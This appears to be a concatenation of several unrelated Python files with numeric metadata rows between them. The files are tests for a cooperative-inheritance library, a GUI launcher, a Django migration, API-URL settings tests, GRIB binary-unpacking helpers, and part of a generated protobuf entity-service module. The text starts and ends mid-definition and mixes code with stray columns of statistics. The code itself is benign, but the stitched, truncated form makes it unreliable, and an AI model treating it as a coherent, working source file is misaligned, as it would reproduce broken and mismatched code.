test_can_mix_non_cooperative_subclass(self): class _Good(self._D): pass self._clear_trace() _Good() self._check_trace_calls_with_mro(self._D.__init__) def test_abstract_method_forbids_instantiation(self): @self.cls_decorator.im_func class _ABC(self._D): __metaclass__ = self.cls_meta @cooper.abstract def abstract_method(self): return 0 self.assertRaises(TypeError, _ABC) def test_override_abstract_method_enables_instantiation(self): @self.cls_decorator.im_func class _ABC(self._D): __metaclass__ = self.cls_meta @cooper.abstract def abstract_method(self): self._result = 1 @self.cls_decorator.im_func class _Concrete(_ABC): __metaclass__ = self.cls_meta @cooper.cooperate def abstract_method(self): return self._result self.assertEqual(_Concrete().abstract_method(), 1) def test_compatible_abstract_method_forbids_instantiation(self): import abc @self.cls_decorator.im_func class _ABC(self._D): __metaclass__ = self.cls_meta @abc.abstractmethod def abstract_method(self): return 0 self.assertRaises(TypeError, _ABC) def test_compatible_override_abstract_method_enables_instantiation(self): import abc @self.cls_decorator.im_func class _ABC(self._D): __metaclass__ = self.cls_meta @abc.abstractmethod def abstract_method(self): return 0 class _Concrete(_ABC): def abstract_method(self): return super(_Concrete, self).abstract_method() self.assertEqual(_Concrete().abstract_method(), 0) def test_conflict_raises_error(self): @self.cls_decorator.im_func class _A1(object): __metaclass__ = self.cls_meta @cooper.cooperative def method(self): pass @self.cls_decorator.im_func class _A2(object): __metaclass__ = self.cls_meta @cooper.cooperative def method(self): pass def make_class(): @self.cls_decorator.im_func class _A12(_A1, _A2): __metaclass__ = self.cls_meta @cooper.cooperate def method(self): pass self.assertRaises(cooper.CooperativeError, make_class) def test_mro_call_order(self): for cls in (self._D, self._C, self._B, self._A): obj = cls() self._clear_trace() obj.method(1) self._check_trace_calls_with_mro(cls.method) def test_post_mro_call_order(self): for cls in (self._D, self._C, self._B, self._A): obj = cls() self._clear_trace() obj.post_method(1) self._check_trace_calls_with_mro(cls.post_method, reverse=True) def test_mro_init_call_order(self): for cls in (self._D, self._C, self._B, self._A): self._clear_trace() cls() self._check_trace_calls_with_mro(cls.__init__) def test_mro_does_not_decorate_undefined_init(self): self._clear_trace() self._F() self._check_trace_calls_with_mro(self._D.__init__) def test_inner_cooperate(self): outer_self = self @self.cls_decorator.im_func class _Cls(self._D): __metaclass__ = self.cls_meta @cooper.inner_cooperate def method(self, next_method, param): next_method(b_mparam='new_b_mparam') outer_self._trace.append(_Cls.method) obj = _Cls() self._clear_trace() obj.method(1) self._check_trace_calls_with_mro(_Cls.method) self.assertEqual(obj._b_mparam, 'new_b_mparam') def test_inner_error_call_too_much(self): @self.cls_decorator.im_func class _Cls(self._D): __metaclass__ = self.cls_meta @cooper.inner_cooperate def method(self, next_method, param): next_method() next_method() obj = _Cls() self.assertRaises(cooper.CooperativeError, obj.method, 1) def test_inner_error_not_call(self): @self.cls_decorator.im_func class _Cls(self._D): __metaclass__ = self.cls_meta @cooper.inner_cooperate def method(self, next_method, param): pass obj = _Cls() self.assertRaises(cooper.CooperativeError, obj.method, 1) def _clear_trace(self): self._trace[:] = [] def _check_trace_calls_with_mro(self, method, reverse=False): cls = method.im_class name = method.__name__ mro = cls.__mro__[:-1] # discard object self.assertEqual(zip(mro if reverse else mro[::-1], repeat(name)), [(m.im_class, m.__name__) for m in self._trace]) class TestCoopMeta(TestCoop): cls_decorator = lambda x:x cls_meta = cooper.CooperativeMeta def test_meta_works_on_subclasses(self): outer_self = self class _NewClass(self._D): @cooper.cooperate def __init__(self): outer_self._trace.append(_NewClass.__init__) self._clear_trace() _NewClass() self._check_trace_calls_with_mro(_NewClass.__init__) class _TestBase(object): def __init__(self, param=None,*a, **k): super(_TestBase, self).__init__(*a, **k) assert param == 'param' class _TestDeriv(_TestBase): def __init__(self, *a, **k): super(_TestDeriv, self).__init__(param='param',*a, **k) class _CoopTestBase(cooper.Cooperative): @cooper.cooperate def __init__(self, param=None): assert param == 'param' class _CoopTestDeriv(_CoopTestBase): @cooper.cooperate_with_params(param='param') def __init__(self): pass class _SimpleTestBase(object): def __init__(self, *a, **k): super(_SimpleTestBase, self).__init__(*a, **k) class _SimpleTestDeriv(_SimpleTestBase): def __init__(self, *a, **k): super(_SimpleTestDeriv, self).__init__(*a, **k) class _CoopSimpleTestBase(cooper.Cooperative): @cooper.cooperate def __init__(self): pass class _CoopSimpleTestDeriv(_CoopSimpleTestBase): @cooper.cooperate def __init__(self): pass class _SuperSimpleTestBase(object): pass class _SuperSimpleTestDeriv(_SuperSimpleTestBase): pass class _SuperCoopSimpleTestBase(cooper.Cooperative): pass class _SuperCoopSimpleTestDeriv(_SuperCoopSimpleTestBase): pass class TestCoopPerformance(unittest.TestCase): test_number = 1<<8 def test_performance_overhead_override(self): import timeit t1 = min(timeit.repeat(_SimpleTestDeriv, number=self.test_number)) t2 = min(timeit.repeat(_CoopSimpleTestDeriv, number=self.test_number)) print print "Simple override -- " print " Manual: ", t1 print " Coop: ", t2 print " Ratio: ", t2/t1 def test_performance_overhead_no_override(self): import timeit t1 = min(timeit.repeat(_SuperSimpleTestDeriv, number=self.test_number)) t2 = min(timeit.repeat(_SuperCoopSimpleTestDeriv, number=self.test_number)) print print "No override -- " print " Manual: ", t1 print " Coop: ", t2 print " Ratio: ", t2/t1 def test_performance_overhead_with_params(self): import timeit t1 = min(timeit.repeat(_TestDeriv, number=self.test_number)) t2 = min(timeit.repeat(_CoopTestDeriv, number=self.test_number)) print print "Params -- " print " Manual: ", t1 print " Coop: ", t2 print " Ratio: ", t2/t1
34.131183
83
0.619495
1,830
15,871
4.930055
0.143716
0.032587
0.037242
0.041898
0.574374
0.514409
0.461317
0.396364
0.356905
0.324873
0
0.00569
0.291349
15,871
464
84
34.204741
0.796479
0.080209
0
0.566138
0
0
0.025787
0
0
0
0
0
0.071429
0
null
null
0.058201
0.021164
null
null
0.039683
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
05624a2bf83b04819e388ce4c33a781536b85abd
220
py
Python
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
1
2015-12-16T23:26:46.000Z
2015-12-16T23:26:46.000Z
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
4
2015-12-23T02:46:56.000Z
2016-01-31T18:06:44.000Z
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
null
null
null
from configs.config_base import ConfigBase ConfigBase.load_config() from translation import Translation from factory import Factory trans = Translation() Factory.set('Translation',trans) import ark.gui ark.gui.init()
18.333333
42
0.813636
29
220
6.103448
0.482759
0.067797
0
0
0
0
0
0
0
0
0
0
0.104545
220
12
43
18.333333
0.898477
0
0
0
0
0
0.049774
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
05642669626e2c66f5efa480d9d7380e358e500b
546
py
Python
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
null
null
null
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
4
2021-05-18T12:13:41.000Z
2021-05-24T18:44:18.000Z
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
null
null
null
# Generated by Django 3.2.3 on 2021-05-17 16:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0003_auto_20210517_1623'), ] operations = [ migrations.RemoveField( model_name='subscribeslist', name='subscribed_to', ), migrations.AddField( model_name='subscribeslist', name='subscribed_to', field=models.ManyToManyField(blank=True, to='accounts.Subscribe'), ), ]
23.73913
78
0.602564
53
546
6.075472
0.698113
0.055901
0.142857
0.167702
0.242236
0.242236
0
0
0
0
0
0.079487
0.285714
546
22
79
24.818182
0.746154
0.082418
0
0.375
1
0
0.206413
0.046092
0
0
0
0
0
1
0
false
0
0.0625
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0568547b41c21710abbf9ed5b55a15d5603b2241
1,732
py
Python
tests/test_settings.py
olihawkins/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
13
2018-12-09T14:56:27.000Z
2019-12-31T00:49:50.000Z
tests/test_settings.py
houseofcommonslibrary/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
1
2021-04-11T02:03:40.000Z
2021-04-22T14:57:21.000Z
tests/test_settings.py
houseofcommonslibrary/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
2
2021-04-11T01:36:06.000Z
2022-01-12T07:48:31.000Z
# -*- coding: utf-8 -*- """Test settings functions.""" # Imports --------------------------------------------------------------------- import unittest import pdpy.constants as constants import pdpy.settings as settings # Test get_api_url ------------------------------------------------------------ class GetApiUrl(unittest.TestCase): """ Test that get_api_url returns default url when a url has not been set. """ def test_that_get_api_url_returns_default_url(self): self.assertEqual( settings.get_api_url(), constants.SETTINGS_API_URL_DEFAULT) # Test set_api_url ------------------------------------------------------------ class SetApiUrl(unittest.TestCase): """ Test that set_api_url sets the api url returned by get_api_url. """ def test_that_set_api_url_sets_api_url(self): api_url = 'http://localhost:8000/sparql' settings.set_api_url(api_url) self.assertEqual(settings.get_api_url(), api_url) settings.set_api_url(constants.SETTINGS_API_URL_DEFAULT) self.assertEqual( settings.get_api_url(), constants.SETTINGS_API_URL_DEFAULT) # Test reset_api_url ---------------------------------------------------------- class ResetApiUrl(unittest.TestCase): """ Test that reset_api_url resets the api url returned by get_api_url. """ def test_that_reset_api_url_resets_api_url(self): api_url = 'http://localhost:8000/sparql' settings.set_api_url(api_url) self.assertEqual(settings.get_api_url(), api_url) settings.reset_api_url() self.assertEqual( settings.get_api_url(), constants.SETTINGS_API_URL_DEFAULT)
27.492063
79
0.58776
202
1,732
4.678218
0.207921
0.215873
0.095238
0.137566
0.713228
0.713228
0.632804
0.594709
0.516402
0.516402
0
0.006447
0.193995
1,732
62
80
27.935484
0.670487
0.32448
0
0.576923
0
0
0.05036
0
0
0
0
0
0.192308
1
0.115385
false
0
0.115385
0
0.346154
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
056a8d9f00ce4d3cab4f00133b3a8ba29c861116
2,850
py
Python
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
"""Functions to handle binary data. Borrowed from pupygrib https://pypi.org/project/pupygrib/ """ import struct error = struct.error _uint8struct = struct.Struct(b">B") _uint16struct = struct.Struct(b">H") _uint24struct = struct.Struct(b">HB") _uint32struct = struct.Struct(b">I") _uint64struct = struct.Struct(b">Q") _grib1_float_magic = 2 ** -24 def unpack_grib1float_from(buf, offset=0): """Unpack a 32-bit GRIB 1 floating point value from *buf* at *offset*. GRIB edition 1 does not use the IEEE 754 floating point standard. Instead, it uses a leading sign bit (s), a 7-bit exponent (A), and a 24-bit significand (B). The represented value is then given by R = (-1)^s * 2^-24 * B * 16^(A - 64) """ i, = _uint32struct.unpack_from(buf, offset) s = i >> 31 A = (i & 0x7FFFFFFF) >> 24 B = i & 0x00FFFFFF return (-1) ** s * _grib1_float_magic * B * 16 ** (A - 64) def unpack_int8_from(buf, offset=0): """Unpack an 8-bit signed magnitude integer from *buf* at *offset*.""" b, = _uint8struct.unpack_from(buf, offset) return (-1) ** (b >> 7) * (b & 0x7F) def unpack_int16_from(buf, offset=0): """Unpack a 16-bit signed magnitude integer from *buf* at *offset*.""" h, = _uint16struct.unpack_from(buf, offset) return (-1) ** (h >> 15) * (h & 0x7FFF) def unpack_int24_from(buf, offset=0): """Unpack a 24-bit signed magnitude integer from *buf* at *offset*.""" h, b = _uint24struct.unpack_from(buf, offset) return (-1) ** (h >> 15) * (((h & 0x7FFF) << 8) + b) def unpack_int32_from(buf, offset=0): """Unpack a 16-bit signed magnitude integer from *buf* at *offset*.""" h, = _uint32struct.unpack_from(buf, offset) return (-1) ** (h >> 31) * (h & 0x7FFFFFFF) def unpack_uint8_from(buf, offset=0): """Unpack an 8-bit unsigned integer from *buf* at *offset*.""" return _uint8struct.unpack_from(buf, offset)[0] def unpack_uint16_from(buf, offset=0): """Unpack a 16-bit unsigned integer from *buf* at *offset*.""" return _uint16struct.unpack_from(buf, offset)[0] def unpack_uint24_from(buf, offset=0): """Unpack a 24-bit unsigned integer from *buf* at *offset*.""" h, b = _uint24struct.unpack_from(buf, offset) return (h << 8) + b def unpack_uint32_from(buf, offset=0): """Unpack a 32-bit unsigned integer from *buf* at *offset*.""" return _uint32struct.unpack_from(buf, offset)[0] def unpack_uint64_from(buf, offset=0): """Unpack a 64-bit unsigned integer from *buf* at *offset*.""" return _uint64struct.unpack_from(buf, offset)[0] def checkread(stream, n): """Read exactly *n* bytes from *stream*. A ParseError is raised if less than *n* bytes are available. """ data = stream.read(n) if len(data) < n: raise ValueError("unexpected end of file") return data
29.6875
74
0.649474
425
2,850
4.235294
0.265882
0.116667
0.144444
0.108889
0.539444
0.483333
0.444444
0.376667
0.175
0.165
0
0.057869
0.199649
2,850
95
75
30
0.731258
0.366667
0
0.047619
0
0
0.019287
0
0
0
0.026885
0
0
1
0.261905
false
0
0.02381
0
0.547619
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
056af860e48c21b96d99bcb72302647ff56048af
33,898
py
Python
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
1
2021-12-22T11:23:57.000Z
2021-12-22T11:23:57.000Z
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
18
2021-01-13T16:24:38.000Z
2022-03-15T13:32:29.000Z
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
10
2021-01-11T13:24:51.000Z
2021-12-17T20:53:06.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: exabel/api/data/v1/entity_service.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from exabel_data_sdk.stubs.exabel.api.data.v1 import entity_messages_pb2 as exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2 from exabel_data_sdk.stubs.exabel.api.data.v1 import search_messages_pb2 as exabel_dot_api_dot_data_dot_v1_dot_search__messages__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 from google.api import field_behavior_pb2 as google_dot_api_dot_field__behavior__pb2 from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2 from google.protobuf import field_mask_pb2 as google_dot_protobuf_dot_field__mask__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='exabel/api/data/v1/entity_service.proto', package='exabel.api.data.v1', syntax='proto3', serialized_options=b'\n\026com.exabel.api.data.v1B\022EntityServiceProtoP\001', create_key=_descriptor._internal_create_key, serialized_pb=b'\n\'exabel/api/data/v1/entity_service.proto\x12\x12\x65xabel.api.data.v1\x1a(exabel/api/data/v1/entity_messages.proto\x1a(exabel/api/data/v1/search_messages.proto\x1a\x1cgoogle/api/annotations.proto\x1a\x1fgoogle/api/field_behavior.proto\x1a\x1bgoogle/protobuf/empty.proto\x1a google/protobuf/field_mask.proto\"?\n\x16ListEntityTypesRequest\x12\x11\n\tpage_size\x18\x01 \x01(\x05\x12\x12\n\npage_token\x18\x02 \x01(\t\"|\n\x17ListEntityTypesResponse\x12\x34\n\x0c\x65ntity_types\x18\x01 \x03(\x0b\x32\x1e.exabel.api.data.v1.EntityType\x12\x17\n\x0fnext_page_token\x18\x02 \x01(\t\x12\x12\n\ntotal_size\x18\x03 \x01(\x05\")\n\x14GetEntityTypeRequest\x12\x11\n\x04name\x18\x01 \x01(\tB\x03\xe0\x41\x02\"Q\n\x13ListEntitiesRequest\x12\x13\n\x06parent\x18\x01 \x01(\tB\x03\xe0\x41\x02\x12\x11\n\tpage_size\x18\x02 \x01(\x05\x12\x12\n\npage_token\x18\x03 \x01(\t\"q\n\x14ListEntitiesResponse\x12,\n\x08\x65ntities\x18\x01 \x03(\x0b\x32\x1a.exabel.api.data.v1.Entity\x12\x17\n\x0fnext_page_token\x18\x02 \x01(\t\x12\x12\n\ntotal_size\x18\x03 \x01(\x05\"%\n\x10GetEntityRequest\x12\x11\n\x04name\x18\x01 \x01(\tB\x03\xe0\x41\x02\"[\n\x13\x43reateEntityRequest\x12\x13\n\x06parent\x18\x01 \x01(\tB\x03\xe0\x41\x02\x12/\n\x06\x65ntity\x18\x02 \x01(\x0b\x32\x1a.exabel.api.data.v1.EntityB\x03\xe0\x41\x02\"w\n\x13UpdateEntityRequest\x12/\n\x06\x65ntity\x18\x01 \x01(\x0b\x32\x1a.exabel.api.data.v1.EntityB\x03\xe0\x41\x02\x12/\n\x0bupdate_mask\x18\x02 \x01(\x0b\x32\x1a.google.protobuf.FieldMask\"(\n\x13\x44\x65leteEntityRequest\x12\x11\n\x04name\x18\x01 \x01(\tB\x03\xe0\x41\x02\"\x87\x01\n\x15SearchEntitiesRequest\x12\x13\n\x06parent\x18\x04 \x01(\tB\x03\xe0\x41\x02\x12\x32\n\x05terms\x18\x01 \x03(\x0b\x32\x1e.exabel.api.data.v1.SearchTermB\x03\xe0\x41\x02\x12\x11\n\tpage_size\x18\x02 \x01(\x05\x12\x12\n\npage_token\x18\x03 \x01(\t\"\x96\x02\n\x16SearchEntitiesResponse\x12H\n\x07results\x18\x03 \x03(\x0b\x32\x37.exabel.api.data.v1.SearchEntitiesResponse.SearchResult\x12\x17\n\x0fnext_page_token\x18\x02 \x01(\t\x12,\n\x08\x65ntities\x18\x01 \x03(\x0b\x32\x1a.exabel.api.data.v1.Entity\x1ak\n\x0cSearchResult\x12-\n\x05terms\x18\x01 \x03(\x0b\x32\x1e.exabel.api.data.v1.SearchTerm\x12,\n\x08\x65ntities\x18\x02 \x03(\x0b\x32\x1a.exabel.api.data.v1.Entity2\xdb\x08\n\rEntityService\x12\x83\x01\n\x0fListEntityTypes\x12*.exabel.api.data.v1.ListEntityTypesRequest\x1a+.exabel.api.data.v1.ListEntityTypesResponse\"\x17\x82\xd3\xe4\x93\x02\x11\x12\x0f/v1/entityTypes\x12{\n\rGetEntityType\x12(.exabel.api.data.v1.GetEntityTypeRequest\x1a\x1e.exabel.api.data.v1.EntityType\" \x82\xd3\xe4\x93\x02\x1a\x12\x18/v1/{name=entityTypes/*}\x12\x8e\x01\n\x0cListEntities\x12\'.exabel.api.data.v1.ListEntitiesRequest\x1a(.exabel.api.data.v1.ListEntitiesResponse\"+\x82\xd3\xe4\x93\x02%\x12#/v1/{parent=entityTypes/*}/entities\x12z\n\tGetEntity\x12$.exabel.api.data.v1.GetEntityRequest\x1a\x1a.exabel.api.data.v1.Entity\"+\x82\xd3\xe4\x93\x02%\x12#/v1/{name=entityTypes/*/entities/*}\x12\x88\x01\n\x0c\x43reateEntity\x12\'.exabel.api.data.v1.CreateEntityRequest\x1a\x1a.exabel.api.data.v1.Entity\"3\x82\xd3\xe4\x93\x02-\"#/v1/{parent=entityTypes/*}/entities:\x06\x65ntity\x12\x8f\x01\n\x0cUpdateEntity\x12\'.exabel.api.data.v1.UpdateEntityRequest\x1a\x1a.exabel.api.data.v1.Entity\":\x82\xd3\xe4\x93\x02\x34\x32*/v1/{entity.name=entityTypes/*/entities/*}:\x06\x65ntity\x12|\n\x0c\x44\x65leteEntity\x12\'.exabel.api.data.v1.DeleteEntityRequest\x1a\x16.google.protobuf.Empty\"+\x82\xd3\xe4\x93\x02%*#/v1/{name=entityTypes/*/entities/*}\x12\x9e\x01\n\x0eSearchEntities\x12).exabel.api.data.v1.SearchEntitiesRequest\x1a*.exabel.api.data.v1.SearchEntitiesResponse\"5\x82\xd3\xe4\x93\x02/\"*/v1/{parent=entityTypes/*}/entities:search:\x01*B.\n\x16\x63om.exabel.api.data.v1B\x12\x45ntityServiceProtoP\x01\x62\x06proto3' , dependencies=[exabel_dot_api_dot_data_dot_v1_dot_entity__messages__pb2.DESCRIPTOR,exabel_dot_api_dot_data_dot_v1_dot_search__messages__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,google_dot_api_dot_field__behavior__pb2.DESCRIPTOR,google_dot_protobuf_dot_empty__pb2.DESCRIPTOR,google_dot_protobuf_dot_field__mask__pb2.DESCRIPTOR,]) _LISTENTITYTYPESREQUEST = _descriptor.Descriptor( name='ListEntityTypesRequest', full_name='exabel.api.data.v1.ListEntityTypesRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='page_size', full_name='exabel.api.data.v1.ListEntityTypesRequest.page_size', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='page_token', full_name='exabel.api.data.v1.ListEntityTypesRequest.page_token', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=273, serialized_end=336, ) _LISTENTITYTYPESRESPONSE = _descriptor.Descriptor( name='ListEntityTypesResponse', full_name='exabel.api.data.v1.ListEntityTypesResponse', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='entity_types', full_name='exabel.api.data.v1.ListEntityTypesResponse.entity_types', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='next_page_token', full_name='exabel.api.data.v1.ListEntityTypesResponse.next_page_token', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='total_size', full_name='exabel.api.data.v1.ListEntityTypesResponse.total_size', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=338, serialized_end=462, ) _GETENTITYTYPEREQUEST = _descriptor.Descriptor( name='GetEntityTypeRequest', full_name='exabel.api.data.v1.GetEntityTypeRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='exabel.api.data.v1.GetEntityTypeRequest.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=464, serialized_end=505, ) _LISTENTITIESREQUEST = _descriptor.Descriptor( name='ListEntitiesRequest', full_name='exabel.api.data.v1.ListEntitiesRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='parent', full_name='exabel.api.data.v1.ListEntitiesRequest.parent', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='page_size', full_name='exabel.api.data.v1.ListEntitiesRequest.page_size', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='page_token', full_name='exabel.api.data.v1.ListEntitiesRequest.page_token', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=507, serialized_end=588, ) _LISTENTITIESRESPONSE = _descriptor.Descriptor( name='ListEntitiesResponse', full_name='exabel.api.data.v1.ListEntitiesResponse', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='entities', full_name='exabel.api.data.v1.ListEntitiesResponse.entities', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='next_page_token', full_name='exabel.api.data.v1.ListEntitiesResponse.next_page_token', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='total_size', full_name='exabel.api.data.v1.ListEntitiesResponse.total_size', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=590, serialized_end=703, ) _GETENTITYREQUEST = _descriptor.Descriptor( name='GetEntityRequest', full_name='exabel.api.data.v1.GetEntityRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='exabel.api.data.v1.GetEntityRequest.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=705, serialized_end=742, ) _CREATEENTITYREQUEST = _descriptor.Descriptor( name='CreateEntityRequest', full_name='exabel.api.data.v1.CreateEntityRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='parent', full_name='exabel.api.data.v1.CreateEntityRequest.parent', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='entity', full_name='exabel.api.data.v1.CreateEntityRequest.entity', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=744, serialized_end=835, ) _UPDATEENTITYREQUEST = _descriptor.Descriptor( name='UpdateEntityRequest', full_name='exabel.api.data.v1.UpdateEntityRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ 